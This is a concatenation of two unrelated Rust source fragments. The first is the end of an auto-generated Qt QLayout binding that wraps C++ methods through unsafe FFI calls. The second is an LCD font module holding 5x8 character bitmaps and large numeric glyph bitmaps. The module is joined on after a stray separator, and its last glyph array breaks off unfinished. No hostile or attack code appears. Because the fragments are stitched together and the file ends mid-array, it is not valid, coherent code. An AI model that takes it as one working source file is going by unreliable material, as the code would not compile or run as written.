let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout10removeItemEP11QLayoutItem(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: QMargins QLayout::contentsMargins();
impl /*struct*/ QLayout {
pub fn contentsMargins<RetType, T: QLayout_contentsMargins<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.contentsMargins(self);
// return 1;
}
}
pub trait QLayout_contentsMargins<RetType> {
fn contentsMargins(self , rsthis: & QLayout) -> RetType;
}
// proto: QMargins QLayout::contentsMargins();
impl<'a> /*trait*/ QLayout_contentsMargins<QMargins> for () {
fn contentsMargins(self , rsthis: & QLayout) -> QMargins {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout15contentsMarginsEv()};
let mut ret = unsafe {C_ZNK7QLayout15contentsMarginsEv(rsthis.qclsinst)};
let mut ret1 = QMargins::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: QSize QLayout::totalMinimumSize();
impl /*struct*/ QLayout {
pub fn totalMinimumSize<RetType, T: QLayout_totalMinimumSize<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.totalMinimumSize(self);
// return 1;
}
}
pub trait QLayout_totalMinimumSize<RetType> {
fn totalMinimumSize(self , rsthis: & QLayout) -> RetType;
}
// proto: QSize QLayout::totalMinimumSize();
impl<'a> /*trait*/ QLayout_totalMinimumSize<QSize> for () {
fn totalMinimumSize(self , rsthis: & QLayout) -> QSize {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout16totalMinimumSizeEv()};
let mut ret = unsafe {C_ZNK7QLayout16totalMinimumSizeEv(rsthis.qclsinst)};
let mut ret1 = QSize::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void QLayout::setGeometry(const QRect & );
impl /*struct*/ QLayout {
pub fn setGeometry<RetType, T: QLayout_setGeometry<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.setGeometry(self);
// return 1;
}
}
pub trait QLayout_setGeometry<RetType> {
fn setGeometry(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::setGeometry(const QRect & );
impl<'a> /*trait*/ QLayout_setGeometry<()> for (&'a QRect) {
fn setGeometry(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout11setGeometryERK5QRect()};
let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout11setGeometryERK5QRect(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: static QSize QLayout::closestAcceptableSize(const QWidget * w, const QSize & s);
impl /*struct*/ QLayout {
pub fn closestAcceptableSize_s<RetType, T: QLayout_closestAcceptableSize_s<RetType>>( overload_args: T) -> RetType {
return overload_args.closestAcceptableSize_s();
// return 1;
}
}
pub trait QLayout_closestAcceptableSize_s<RetType> {
fn closestAcceptableSize_s(self ) -> RetType;
}
// proto: static QSize QLayout::closestAcceptableSize(const QWidget * w, const QSize & s);
impl<'a> /*trait*/ QLayout_closestAcceptableSize_s<QSize> for (&'a QWidget, &'a QSize) {
fn closestAcceptableSize_s(self ) -> QSize {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout21closestAcceptableSizeEPK7QWidgetRK5QSize()};
let arg0 = self.0.qclsinst as *mut c_void;
let arg1 = self.1.qclsinst as *mut c_void;
let mut ret = unsafe {C_ZN7QLayout21closestAcceptableSizeEPK7QWidgetRK5QSize(arg0, arg1)};
let mut ret1 = QSize::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void QLayout::setContentsMargins(const QMargins & margins);
impl<'a> /*trait*/ QLayout_setContentsMargins<()> for (&'a QMargins) {
fn setContentsMargins(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout18setContentsMarginsERK8QMargins()};
let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout18setContentsMarginsERK8QMargins(rsthis.qclsinst, arg0)};
// return 1;
}
}
// <= body block end
|
//==============================================================================
// Notes
//==============================================================================
// drivers::lcd::font.rs
// Minimal and Large Numeric Font
//
// Minimal Characters:
// Minimal characters are to be used most places. They can be easily scaled.
// Each character is based on a 5x8 block. when writing strings, at least 1
// column of pixels should be used to separate adjacent characters.
//==============================================================================
// Crates and Mods
//==============================================================================
use super::{lcd, lcd_api, st7789};
//==============================================================================
// Enums, Structs, and Types
//==============================================================================
pub struct MinimalCharacter {
bytes: [u8; 5]
}
pub struct TimeCharacter {
bytes: [u8; 320]
}
//==============================================================================
// Variables
//==============================================================================
#[allow(dead_code)]
const MINIMAL_CHARACTER_LIST: [MinimalCharacter; 71] = [
MinimalCharacter { bytes: [ 0x22, 0xA3, 0x1F, 0xC6, 0x20 ] }, // A
MinimalCharacter { bytes: [ 0xF4, 0x63, 0xE8, 0xC7, 0xC0 ] }, // B
MinimalCharacter { bytes: [ 0x74, 0x61, 0x08, 0x45, 0xC0 ] }, // C
MinimalCharacter { bytes: [ 0xF4, 0x63, 0x18, 0xC7, 0xC0 ] }, // D
MinimalCharacter { bytes: [ 0xFC, 0x21, 0xE8, 0x43, 0xE0 ] }, // E
MinimalCharacter { bytes: [ 0xFC, 0x21, 0xE8, 0x42, 0x00 ] }, // F
MinimalCharacter { bytes: [ 0x74, 0x21, 0x38, 0xC5, 0xC0 ] }, // G
MinimalCharacter { bytes: [ 0x8C, 0x63, 0xF8, 0xC6, 0x20 ] }, // H
MinimalCharacter { bytes: [ 0xF9, 0x08, 0x42, 0x13, 0xE0 ] }, // I
MinimalCharacter { bytes: [ 0x08, 0x42, 0x18, 0xC5, 0xC0 ] }, // J
MinimalCharacter { bytes: [ 0x8C, 0x65, 0xC9, 0x46, 0x20 ] }, // K
MinimalCharacter { bytes: [ 0x84, 0x21, 0x08, 0x43, 0xE0 ] }, // L
MinimalCharacter { bytes: [ 0x8E, 0xEB, 0x58, 0xC6, 0x20 ] }, // M
MinimalCharacter { bytes: [ 0x8E, 0x6B, 0x38, 0xC6, 0x20 ] }, // N
MinimalCharacter { bytes: [ 0x74, 0x63, 0x18, 0xC5, 0xC0 ] }, // O
MinimalCharacter { bytes: [ 0xF4, 0x63, 0xE8, 0x42, 0x00 ] }, // P
MinimalCharacter { bytes: [ 0x74, 0x63, 0x1A, 0xC9, 0xA0 ] }, // Q
MinimalCharacter { bytes: [ 0xF4, 0x63, 0xE8, 0xC6, 0x20 ] }, // R
MinimalCharacter { bytes: [ 0x74, 0x60, 0xE0, 0xC5, 0xC0 ] }, // S
MinimalCharacter { bytes: [ 0xF9, 0x08, 0x42, 0x10, 0x80 ] }, // T
MinimalCharacter { bytes: [ 0x8C, 0x63, 0x18, 0xC5, 0xC0 ] }, // U
MinimalCharacter { bytes: [ 0x8C, 0x63, 0x18, 0xA8, 0x80 ] }, // V
MinimalCharacter { bytes: [ 0xAD, 0x6B, 0x5A, 0xD5, 0x40 ] }, // W
MinimalCharacter { bytes: [ 0x8C, 0x54, 0x45, 0x46, 0x20 ] }, // X
MinimalCharacter { bytes: [ 0x8C, 0x62, 0xA2, 0x10, 0x80 ] }, // Y
MinimalCharacter { bytes: [ 0xF8, 0x44, 0x44, 0x43, 0xE0 ] }, // Z
MinimalCharacter { bytes: [ 0x00, 0x1C, 0x17, 0xC5, 0xE0 ] }, // a
MinimalCharacter { bytes: [ 0x84, 0x3D, 0x18, 0xC7, 0xC0 ] }, // b
MinimalCharacter { bytes: [ 0x00, 0x1D, 0x08, 0x41, 0xC0 ] }, // c
MinimalCharacter { bytes: [ 0x08, 0x5F, 0x18, 0xC5, 0xE0 ] }, // d
MinimalCharacter { bytes: [ 0x00, 0x1D, 0x1F, 0x41, 0xE0 ] }, // e
MinimalCharacter { bytes: [ 0x11, 0x1C, 0x42, 0x10, 0x80 ] }, // f
MinimalCharacter { bytes: [ 0x03, 0x25, 0x27, 0x09, 0x80 ] }, // g
MinimalCharacter { bytes: [ 0x84, 0x2D, 0x98, 0xC6, 0x20 ] }, // h
MinimalCharacter { bytes: [ 0x01, 0x00, 0x42, 0x10, 0x80 ] }, // i
MinimalCharacter { bytes: [ 0x10, 0x04, 0x21, 0x28, 0x80 ] }, // j
MinimalCharacter { bytes: [ 0x84, 0x25, 0x4C, 0x52, 0x40 ] }, // k
MinimalCharacter { bytes: [ 0x21, 0x08, 0x42, 0x10, 0x80 ] }, // l
MinimalCharacter { bytes: [ 0x00, 0x35, 0x5A, 0xD6, 0xA0 ] }, // m
MinimalCharacter { bytes: [ 0x00, 0x19, 0x29, 0x4A, 0x40 ] }, // n
MinimalCharacter { bytes: [ 0x00, 0x19, 0x29, 0x49, 0x80 ] }, // o
MinimalCharacter { bytes: [ 0x03, 0x25, 0x2E, 0x42, 0x00 ] }, // p
MinimalCharacter { bytes: [ 0x03, 0x25, 0x27, 0x08, 0x60 ] }, // q
MinimalCharacter { bytes: [ 0x00, 0x2D, 0x88, 0x42, 0x00 ] }, // r
MinimalCharacter { bytes: [ 0x00, 0x1D, 0x06, 0x0B, 0x80 ] }, // s
MinimalCharacter { bytes: [ 0x02, 0x3C, 0x84, 0x20, 0xC0 ] }, // t
MinimalCharacter { bytes: [ 0x00, 0x23, 0x18, 0xC5, 0xE0 ] }, // u
MinimalCharacter { bytes: [ 0x00, 0x23, 0x18, 0xA8, 0x80 ] }, // v
MinimalCharacter { bytes: [ 0x00, 0x23, 0x18, 0xD5, 0x40 ] }, // w
MinimalCharacter { bytes: [ 0x00, 0x22, 0xA2, 0x2A, 0x20 ] }, // x
MinimalCharacter { bytes: [ 0x00, 0x12, 0x93, 0x84, 0xC0 ] }, // y
MinimalCharacter { bytes: [ 0x00, 0x3E, 0x22, 0x23, 0xE0 ] }, // z
MinimalCharacter { bytes: [ 0x23, 0x08, 0x42, 0x11, 0xC0 ] }, // 1
MinimalCharacter { bytes: [ 0x74, 0x42, 0x64, 0x43, 0xE0 ] }, // 2
MinimalCharacter { bytes: [ 0x74, 0x42, 0xE0, 0xC5, 0xC0 ] }, // 3
MinimalCharacter { bytes: [ 0x4A, 0x52, 0xF0, 0x84, 0x20 ] }, // 4
MinimalCharacter { bytes: [ 0xFC, 0x21, 0xE0, 0xC5, 0xC0 ] }, // 5
MinimalCharacter { bytes: [ 0x74, 0x21, 0xE8, 0xC5, 0xC0 ] }, // 6
MinimalCharacter { bytes: [ 0x78, 0x44, 0x42, 0x10, 0x80 ] }, // 7
MinimalCharacter { bytes: [ 0x74, 0x62, 0xE8, 0xC5, 0xC0 ] }, // 8
MinimalCharacter { bytes: [ 0x74, 0x62, 0xF0, 0x84, 0x20 ] }, // 9
MinimalCharacter { bytes: [ 0x74, 0x67, 0x5C, 0xC5, 0xC0 ] }, // 0
MinimalCharacter { bytes: [ 0x00, 0x00, 0x00, 0x10, 0x00 ] }, // .
MinimalCharacter { bytes: [ 0x00, 0x00, 0x00, 0x11, 0x00 ] }, // ,
MinimalCharacter { bytes: [ 0x74, 0x42, 0x22, 0x00, 0x80 ] }, // ?
MinimalCharacter { bytes: [ 0x21, 0x08, 0x42, 0x00, 0x80 ] }, // !
MinimalCharacter { bytes: [ 0x00, 0x14, 0x45, 0x00, 0x00 ] }, // *
MinimalCharacter { bytes: [ 0x00, 0x01, 0xF0, 0x00, 0x00 ] }, // -
MinimalCharacter { bytes: [ 0x00, 0x08, 0x02, 0x00, 0x00 ] }, // :
MinimalCharacter { bytes: [ 0x72, 0x10, 0x84, 0x21, 0xC0 ] }, // [
MinimalCharacter { bytes: [ 0x70, 0x84, 0x21, 0x09, 0xC0 ] } // ]
];
pub const MINIMAL_CHARACTER_WIDTH: u16 = 5;
pub const MINIMAL_CHARACTER_HEIGHT: u16 = 8;
#[allow(dead_code)]
const TIME_CHARACTER_LIST: [TimeCharacter; 10] = [
TimeCharacter { bytes: [ // 0
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x3F, 0xC0, 0x00, 0xFF, 0xFC, 0x3F, 0xC0, 0x01, 0xFF, 0xFC,
0x3F, 0xC0, 0x01, 0xFF, 0xFC, 0x3F, 0xC0, 0x01, 0xFF, 0xFC,
0x3F, 0xC0, 0x03, 0xFF, 0xFC, 0x3F, 0xC0, 0x03, 0xFF, 0xFC,
0x3F, 0xC0, 0x03, 0xFF, 0xFC, 0x3F, 0xC0, 0x07, 0xFB, 0xFC,
0x3F, 0xC0, 0x07, 0xFB, 0xFC, 0x3F, 0xC0, 0x07, 0xFB, 0xFC,
0x3F, 0xC0, 0x0F, 0xF3, 0xFC, 0x3F, 0xC0, 0x0F, 0xF3, 0xFC,
0x3F, 0xC0, 0x0F, 0xF3, 0xFC, 0x3F, 0xC0, 0x1F, 0xE3, 0xFC,
0x3F, 0xC0, 0x1F, 0xE3, 0xFC, 0x3F, 0xC0, 0x1F, 0xE3, 0xFC,
0x3F, 0xC0, 0x3F, 0xC3, 0xFC, 0x3F, 0xC0, 0x3F, 0xC3, 0xFC,
0x3F, 0xC0, 0x3F, 0xC3, 0xFC, 0x3F, 0xC0, 0x7F, 0x83, 0xFC,
0x3F, 0xC0, 0x7F, 0x83, 0xFC, 0x3F, 0xC0, 0x7F, 0x83, 0xFC,
0x3F, 0xC0, 0xFF, 0x03, 0xFC, 0x3F, 0xC0, 0xFF, 0x03, 0xFC,
0x3F, 0xC0, 0xFF, 0x03, 0xFC, 0x3F, 0xC1, 0xFE, 0x03, 0xFC,
0x3F, 0xC1, 0xFE, 0x03, 0xFC, 0x3F, 0xC1, 0xFE, 0x03, 0xFC,
0x3F, 0xC3, 0xFC, 0x03, 0xFC, 0x3F, 0xC3, 0xFC, 0x03, 0xFC,
0x3F, 0xC3, 0xFC, 0x03, 0xFC, 0x3F, 0xC7, 0xF8, 0x03, 0xFC,
0x3F, 0xC7, 0xF8, 0x03, 0xFC, 0x3F, 0xC7, 0xF8, 0x03, 0xFC,
0x3F, 0xCF, 0xF0, 0x03, 0xFC, 0x3F, 0xCF, 0xF0, 0x03, 0xFC,
0x3F, 0xCF, 0xF0, 0x03, 0xFC, 0x3F, 0xDF, 0xE0, 0x03, 0xFC,
0x3F, 0xDF, 0xE0, 0x03, 0xFC, 0x3F, 0xDF, 0xE0, 0x03, 0xFC,
0x3F, 0xFF, 0xC0, 0x03, 0xFC, 0x3F, 0xFF, 0xC0, 0x03, 0xFC,
0x3F, 0xFF, 0xC0, 0x03, 0xFC, 0x3F, 0xFF, 0x80, 0x03, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 1
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x01, 0xFF, 0x00,
0x00, 0x00, 0x03, 0xFF, 0x00, 0x00, 0x00, 0x07, 0xFF, 0x00,
0x00, 0x00, 0x0F, 0xFF, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0x00,
0x00, 0x00, 0x3F, 0xFF, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0x00,
0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x01, 0xFE, 0xFF, 0x00,
0x00, 0x03, 0xFC, 0xFF, 0x00, 0x00, 0x07, 0xF8, 0xFF, 0x00,
0x00, 0x0F, 0xF0, 0xFF, 0x00, 0x00, 0x1F, 0xE0, 0xFF, 0x00,
0x00, 0x3F, 0xC0, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 2
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x3F, 0xC0, 0x00, 0x0F, 0xFC, 0x3F, 0xC0, 0x00, 0x07, 0xFC,
0x1F, 0x80, 0x00, 0x03, 0xFC, 0x0F, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0xFF, 0xFF, 0xFF, 0xFC, 0x03, 0xFF, 0xFF, 0xFF, 0xFC,
0x07, 0xFF, 0xFF, 0xFF, 0xF8, 0x0F, 0xFF, 0xFF, 0xFF, 0xF8,
0x1F, 0xFF, 0xFF, 0xFF, 0xF0, 0x1F, 0xFF, 0xFF, 0xFF, 0xE0,
0x3F, 0xFF, 0xFF, 0xFF, 0xC0, 0x3F, 0xFF, 0xFF, 0xFF, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0x00, 0x3F, 0xC0, 0x00, 0x00, 0x00,
0x3F, 0xC0, 0x00, 0x00, 0xF0, 0x3F, 0xC0, 0x00, 0x01, 0xF8,
0x3F, 0xE0, 0x00, 0x03, 0xFC, 0x3F, 0xF0, 0x00, 0x03, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 3
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
0x07, 0xFF, 0xFF, 0xFF, 0xE0, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x3F, 0xC0, 0x00, 0x0F, 0xFC, 0x3F, 0xC0, 0x00, 0x07, 0xFC,
0x1F, 0x80, 0x00, 0x03, 0xFC, 0x0F, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x07, 0xFC, 0x00, 0x00, 0x00, 0x0F, 0xFC,
0x00, 0x00, 0x7F, 0xFF, 0xF8, 0x00, 0x00, 0xFF, 0xFF, 0xF8,
0x00, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0xFF, 0xFF, 0xE0,
0x00, 0x00, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0xFF, 0xFF, 0xF0,
0x00, 0x00, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x7F, 0xFF, 0xF8,
0x00, 0x00, 0x00, 0x0F, 0xFC, 0x00, 0x00, 0x00, 0x07, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x0F, 0x80, 0x00, 0x03, 0xFC, 0x1F, 0x80, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x07, 0xFC, 0x3F, 0xC0, 0x00, 0x0F, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xF8, 0x1F, 0xFF, 0xFF, 0xFF, 0xF8,
0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0xFF, 0xE0,
0x03, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 4
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1F, 0x80, 0x00, 0x01, 0xF8, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xC0, 0x00, 0x03, 0xFC, 0x3F, 0xC0, 0x00, 0x03, 0xFC,
0x3F, 0xE0, 0x00, 0x07, 0xFC, 0x3F, 0xF0, 0x00, 0x0F, 0xFC,
0x3F, 0xFF, 0xFF, 0xFF, 0xFC, 0x3F, 0xFF, 0xFF, 0xFF, 0xFC,
0x1F, 0xFF, 0xFF, 0xFF, 0xFC, 0x1F, 0xFF, 0xFF, 0xFF, 0xFC,
0x0F, 0xFF, 0xFF, 0xFF, 0xFC, 0x07, 0xFF, 0xFF, 0xFF, 0xFC,
0x03, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0xFF, 0xFF, 0xFF, 0xFC,
0x00, 0x00, 0x00, 0x0F, 0xFC, 0x00, 0x00, 0x00, 0x07, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x03, 0xFC,
0x00, 0x00, 0x00, 0x03, 0xFC, 0x00, 0x00, 0x00, 0x01, 0xF8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] },
TimeCharacter { bytes: [ // 5
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFF, 0xFF, 0xFF, 0x80, 0x03, 0xFF, 0xFF, 0xFF, 0xC0,
